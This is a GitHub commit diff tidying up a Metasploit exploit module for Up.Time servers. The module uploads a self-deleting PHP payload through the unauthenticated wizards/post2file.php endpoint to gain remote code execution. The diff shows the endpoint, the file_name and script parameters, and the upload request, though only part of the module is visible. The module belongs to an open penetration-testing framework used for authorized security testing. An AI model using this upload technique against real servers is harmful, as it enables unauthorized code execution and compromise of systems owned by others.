Skip to content

Commit 3d32736

Browse files
author
DoI
committed
uptime_file_upload code tidy-ups
1 parent 0729410 commit 3d32736

File tree

1 file changed

+12
-13
lines changed

1 file changed

+12
-13
lines changed

modules/exploits/linux/http/uptime_file_upload.rb

Lines changed: 12 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
##
2-
# This file is part of the Metasploit Framework and may be subject to
3-
# redistribution and commercial restrictions. Please see the Metasploit
4-
# Framework web site for more information on licensing and terms of use.
5-
# http://metasploit.com/framework/
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
64
##
75

86

@@ -55,32 +53,33 @@ def check
5553
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
5654
})
5755

58-
if not res or res.code != 200
59-
return Exploit::CheckCode::Unknown
56+
if res and res.code == 200
57+
return Exploit::CheckCode::Appears
6058
end
6159

62-
return Exploit::CheckCode::Appears
60+
return Exploit::CheckCode::Unknown
61+
6362
end
6463

6564
def exploit
6665
print_status("#{peer} - Uploading PHP to Up.Time server")
6766
uri = target_uri.path
6867

69-
peer = "#{rhost}:#{rport}"
7068
@payload_name = "#{rand_text_alpha(5)}.php"
7169
php_payload = get_write_exec_payload(:unlink_self=>true)
7270

73-
data = Rex::MIME::Message.new
74-
post_data = "file_name=#{@payload_name}&script=#{php_payload}"
75-
71+
post_data = ({
72+
"file_name" => @payload_name,
73+
"script" => php_payload
74+
})
7675

7776
print_status("#{peer} - Uploading payload #{@payload_name}")
7877
res = send_request_cgi({
7978
'method' => 'POST',
8079
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
81-
'data' => post_data,
80+
'vars_post' => post_data,
8281
})
83-
if not res or res.code != 200
82+
unless res and res.code == 200
8483
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8584
end
8685

0 commit comments

Comments
 (0)